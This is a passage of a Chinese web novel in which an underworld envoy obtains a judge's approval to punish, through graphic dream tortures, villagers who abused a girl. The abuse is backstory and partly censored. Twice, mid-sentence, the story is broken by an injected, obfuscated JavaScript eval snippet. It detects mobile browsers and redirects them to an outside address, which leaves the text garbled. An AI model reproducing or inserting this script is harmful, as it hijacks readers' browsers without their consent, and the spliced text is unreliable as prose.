话没说完,一道黑影“嗖”地落在他面前。 劈山鬼抬头,看见林正文那张表情紧绷,强压急切的脸,愣了一下:“林游神?来地府是……” “劈山大哥!我有事求你,很急!” 林正文开门见山,语速快得让劈山鬼愣了一会才明白过来。 他皱了皱眉,挥手让新手下退下,然后示意林正文跟他走到门楼旁的僻静处。 “说吧,什么事能让你大半夜跑到地府来?还怕那十个家伙抓不到你小辫子?”他上下打量林正文,“你身上这杀气……又遇到什么了?” 林正文深吸一口气,把小溪身上发生的事快速说了一遍。 她说到“爷爷也是”的时候,恨不得咬着牙挤出来。 劈山鬼听完,沉默了很久。 久到林正文以为他不想管了,他才缓缓开口:“你想怎么做?” “我恨不得把那村里的人都弄死。”林正文咬牙,“但我知道这样不行,他们不能死在我手上。” “能让他们受到合法的惩罚也行,阳间律法对这种事太温和了,我要用阴间律法来管。但我等不了他们寿终正寝。” 劈山鬼盯着她看了几秒,忽然咧嘴笑了:“行啊林游神,学会权衡利弊了。” 林正文没接这个茬:“我就问你,有没有办法——既能让那些畜生受到惩罚,还不违反地府规矩?” “有。”劈山鬼点头。 林正文眼睛一亮,接着又一沉。 因为劈山鬼说:“这事你得去找钟判。” “钟判?”林正文一愣,本能地有些抗拒那几个盯着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188525|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯错的老登,“管罚恶的那个?” “对。”劈山鬼压低声音,“上次拐子村的事,你知道最后怎么判的吗?” 林正文摇头。她只知道姐妹帮吞了那些鬼魂,扫了尾,但具体地府怎么定论的,她还真不清楚。 劈山鬼左右看了看,才低声道:“六案功曹和四大判官吵翻了天。崔判、陆判那几个想借机治你的罪,但魏判、钟判反对——尤其是钟判,力保姐妹帮,没有治她们的罪。” 林正文愣住了。 不治姐妹帮的罪,就相当于帮了她啊! “钟判说,”劈山鬼模仿着那个严肃判官的语气,“‘拐子村那些人,按律该下十八层地狱,永世不得超生。如今魂飞魄散,不过是提前执行了刑罚,有何不可?’” 他顿了顿,露出一个意味深长的笑:“知道钟判在罚恶司的外号吗?” 林正文摇头。 “杀神。”劈山鬼说,“他性格嫉恶如仇,手段激进又灵活,只要证据确凿,该下地狱就下地狱,该魂飞魄散就魂飞魄散——他甚至还干过让受害者吞噬加害者魂魄的事,美其名曰‘合理补偿’。” 林正文听得眼睛都亮了。 “还有更绝的。”劈山鬼凑近些,“去年有个女魂,生前被逼到绝境后反杀家暴丈夫,自己也畏罪自尽。钟判直接批文抹消了她的杀孽,还让她去十八层地狱当三天行刑人——专门对她那丈夫用刑。三天后,女魂怨气散了,心甘情愿去投胎。” “这……”林正文张了张嘴,“这合规矩吗?” “钟判说合,那就合。”劈山鬼耸肩,“他是罚恶司主判,只要不闹出大乱子,其他几位也懒得管。毕竟……地府冤魂太多,怨气太重,有时候用点‘特殊手段’,效果反而好。” 林正文心跳加速,她好像找到路了。 “所以你的意思是,”她盯着劈山鬼,“我去找钟判,申请对欺负小溪那些人‘提前执行刑罚’?” “不是‘执行刑罚’。”劈山鬼纠正她,“是‘体验刑罚’——在梦里体验他们死后该受的罪。不伤阳寿,但能让他们痛到骨子里,从此再不敢犯。” 他顿了顿,补充道:“某些民间传说也有记载,这种梦中体验刑罚,自古有之。” 林正文重重点头:“我明白了。” 她转身要走,劈山鬼叫住她。 “林游神。” 林正文回头。 劈山鬼看着她,眼神复杂:“钟判虽然不拘一格,但他看重证据。你得把那个村子的情况查清楚——谁做了什么,做了几次,什么时候开始的。越详细越好。” “我已经查了。”林正文把自己梦中逼问的经过一一说来。 劈山鬼倒吸一口凉气:“……还真是全员恶人。” “所以,”林正文一字一顿,“他们一个也躲不过。” 尾音犹在,人已经朝着判官殿方向疾驰而去。 劈山鬼看着她离去的方向,笑着摇头:“还真是个急性子,一刻都等不了。” …… 罚恶司 钟判正在批阅卷宗,朱笔在上勾勾画画。那张严肃得近乎刻板的脸上眉头紧锁,仿佛从来就没有松开的时候。 忽然,他笔尖一顿,抬头看向门口。 35. 第 35 章 林正文站在那儿,罕见地没有直接闯进来,而是规规矩矩地敲了敲敞开的门板。 “钟判。”她拱手,语气恭敬得让钟判挑了挑眉。 “林游神?”钟判放下笔,上下打量她,“这个时辰来找本官,还这么……客气?” 他刻意加重了“客气”两个字。 林正文有点尴尬,清了清嗓子:“下官有事相求。” “进来吧。”钟判指了指对面的椅子,“坐下说。” 林正文依言坐下,双手放在膝盖上,腰板挺得笔直。 钟判看着她的样子,忍不住笑了:“行了,别装了。你什么样本官还不知道?有事说事,正常点。” 林正文松了口气,这才把老鹰山村的事原原本本说了一遍。 从她发现放牛的小溪,到偷听村头女人嚼舌根,再到亲眼看见老头推开孙女的房门……直到三个男人都在孙女房间,老太婆却安然睡觉时,钟判的脸色沉了下去,手里的朱笔“啪”的一声拍在桌面上。 殿内一片死寂。 良久,钟判缓缓开口:“证据呢?” “下官用鬼气探查了全村人的梦境,一个一个问的。”林正文说,“每个人都承认了。下官可以带钟判去阳间,当场再问一遍。” 钟判沉默片刻,忽然问:“你想怎么做?” “下官想申请,让他们在梦里体验该受的刑罚。”林正文盯着钟判,不错过他每一个微表情。 钟判沉吟良久。 林正文不敢催促,等得抓耳挠腮,半晌他才缓缓开口:“可以。” 林正文眼睛一亮。 “但有两个条件。”钟判竖起两根手指,“第一,刑罚必须与罪行相符——□□幼童的,按铜柱地狱的量刑来;造谣辱骂的,按拔舌地狱的量刑来。必须合律,不能轻,也不能重。” “第二,”他顿了顿,“事成之后,写一份详细的报告交上来。本官要看看这种‘提前体验刑罚’的效果如何——如果效果好,说不定能推广。” 林正文重重点头:“下官明白!” 钟判走到书案前,提笔在一张黄纸上写了几行字,然后盖上罚恶司的大印。 “拿着这个,去十八层地狱找对应的行刑人。”他把批文递给林正文,“他们会教你该怎么弄——记住,别过头。要是闹出人命,本官也保不住你。” 林正文接过批文,深深一躬:“谢钟判!” 她转身要走,钟判忽然叫住她。 “林游神。” 林正文回头。 钟判看着她,眼神复杂:“你这次……做得对。” 林正文一愣。 “知道找本官申请,而不是直接动手。”钟判难得露出一丝笑意,“别再闹出拐子村那回事了,不是每次都有人帮你扫尾。” 林正文咧嘴笑了:“下官明白——想帮更多的人,起码我得活着。” 钟判点头:“明白就好,去吧。” “是!” 林正文快步走出大殿,直到出了门,再也忍不住了,将鬼气运转到极致,一路疾驰至十八层地狱入口。 这里与鬼门关又是截然不同的景象—— 气氛比判官殿还要压抑阴森,空气中弥漫着焦糊与硫磺的气味,隐约能听见深处传来的凄厉哀嚎,那声音不像是从喉咙发出,更像是发自灵魂深处。 她亮出批文,守门的鬼卒仔细查验后,侧身放行。 在一位引路鬼差的带领下,林正文穿过层层回廊。 两侧的刑房里是扩展的空间,隐约可见各种受刑景象:刀山、火海、有过、铜柱……饶是她心有准备,瞥见那些受刑者扭曲到极致的面孔时,仍觉脊背发寒。 “到了。”引路鬼差停在一处色调暗红的大殿前,“铜柱、拔舌两狱的行刑官都在里面候着。” 大殿内,四名行刑鬼差已静立等候。 他们身着统一的玄色劲装,腰间悬挂着形制各异的刑具,面容肃穆,眼神里是一种见惯了极致痛苦的漠然。 为首一人上前拱手:“见过林游神,在下铜七,这三位是铜九、拔十三、拔十六。” 林正文回礼,将老鹰山村的情况简述一遍,着重强调了“梦中行刑、不伤阳寿、与罪相符”的要求。 铜七听罢,微微点头:“游神放心。我等专司此道,知晓分寸。梦中刑罚,重在‘烙魂’——将受刑之痛深深刻入其神魂记忆,使其醒后仍如附骨之疽,其痛至深,会令其每次入梦都宛如无边炼狱。” 他顿了顿,补充道:“只是此法需受刑者罪证确凿,且须有判官批文为凭,否则便是私刑。” “罪证我已核实,批文在此。”林正文递上黄纸。 铜七仔细看过,交还给她:“如此,便可施为。请游神引路。” …… 老鹰山村,夜色正浓,万籁俱寂。 林正文悬停于村子上空,四名行刑鬼差紧随其后。她深吸一口气——如果之前探查梦境时是愤怒,那么此刻,她心中已经平静下来,更多的是冰冷的决绝。 “动刑。” 一声令下,五道身影化作黑烟,悄无声息地渗入夜色。 …… 李老二在睡梦中,只觉得脖子一紧,冰凉的东西就勒住他的命门,整个人都被拖到了地上。 “什么人!” “冥司追公,休要抵抗!” 李老二瞪大眼睛,看着面前两个身穿紫红古装、面色惨白如纸的人,俯下身直勾勾地盯着自己,这一幕说不出的诡异,让人分不清到底是梦境还是现实。 余光一扫,这才看到原来勒住自己脖子的竟是一根铁链。 这一刻,他什么都明白了。 “冥司……”他没上过学,却听长辈聊起过,随即惊恐道,“你们是鬼差?我犯了什么罪!” 铜七见他还在装傻,森然怒喝:“QJ幼女十次,LJ三次,你可知罪!” 李老二一听幼女恍然大悟,慌忙解释:“大人饶命!大人冤枉啊!小溪是自愿的,我没有强迫她!她爷奶收了我的钱!” 铜七冷哼一声,不在多言,拖着他就往外走。 李老二吓得魂飞魄散,还以为自己真的死了,一路挣扎着抓挠地面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197326|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拼命哀嚎求饶。 可他却发现自己百来斤的重量,在这鬼差手中竟然轻飘飘的像个气球一样,随便一甩,就什么都抓不住了。 门外根本不是他家的院子,而是一片赤红的天地。脚下是滚烫的焦土,空气中弥漫着皮肉烧灼的恶臭。 他惊恐地想退,却发现身体动弹不得,双腿上犹如捆了千斤坠一样连抬脚都困难,更别提逃了。 前方,一根两人合抱粗的青铜巨柱巍然矗立,柱身被地下涌出的烈火烤得通红,表面甚至泛起熔金般的流动光泽。热浪扑面而来,他感觉自己的头发、眉毛都在卷曲焦枯,每一次呼吸都像吸了团火在体内灼烧。 “不……这是哪……”他牙齿打颤,腿软的像面条一样扑通跪地。 铜七手上一抖,将他甩到铜柱面前,声音无波无澜:“李老二,□□幼童,按律,当入铜柱地狱。” “我错了!我错了!饶了我——”李老二瘫软在地,涕泪横流。 铜七不再多言,抬手虚引。 李老二感觉自己被无形之力提起,朝着那通红的铜柱直直撞去! “啊——!!!” 在接触柱面的瞬间,难以形容的痛苦轰然炸开。 那不是单纯的烫,而是无数被火燎过的钢针从每一个毛孔扎入,将他整个人都贯穿刺透,再一路灼烧至灵魂深处。他的皮肉发出“滋滋”声响,仿佛真的在融化、黏连在铜柱上。 他想挣扎,身体却死死贴在柱上;他想惨叫,喉咙却被热浪灼得根本发不出声音。 时间被无限拉长。每一次呼吸都像一个世纪。 不知过了多久,他被从柱上“撕”下。 “撕拉——”半面人皮都被留在了铜柱上面。 李老二瘫在焦土上,浑身抽搐,意识模糊。可没等他喘息,铜七的声音再次响起:“刑未毕。□□幼童,一次一柱。” 第二根通红的铜柱,在另一侧缓缓升起。 “不!不——!!!”李老二绝望地瞪大眼睛,再次被提起…… 张春花梦见自己又坐在村头大榕树下。 可这次,对面的王婶、李婆都不说话,只是用空洞的眼睛盯着她。她下意识地想开口嚼舌根,说说小溪那“小骚蹄子”的闲话。 舌头刚动,一阵剧痛从舌根传来! “呃!”她想捂住嘴,却摸到一个冰凉的物体,余光一扫,眼球瞬间惊恐瞪大。 拔十三站在她面前,手中握着一把黝黑冰冷的铁钳。“张春花,造谣诽谤,言语凌辱,助长恶行。按律,当入拔舌地狱。” “不……不……”她含糊地辩解,却根本吐不出一个完整的字,每动一下,舌根就传来撕裂般的痛楚。 “言语如刀,杀人无形。”拔十三语气平淡,“你说了多少恶言,便该受多少反噬。” 铁钳探入她口中,随着缓缓抽出,猩红的液体顺着她的口腔流出,直到一块被血浸泡的肉块掉落在地。 她瘫倒在地,张大嘴巴,却只能发出“啊……啊……”的破碎气音。一种深切的恐惧攫住了她:她是不是……再也说不出话了?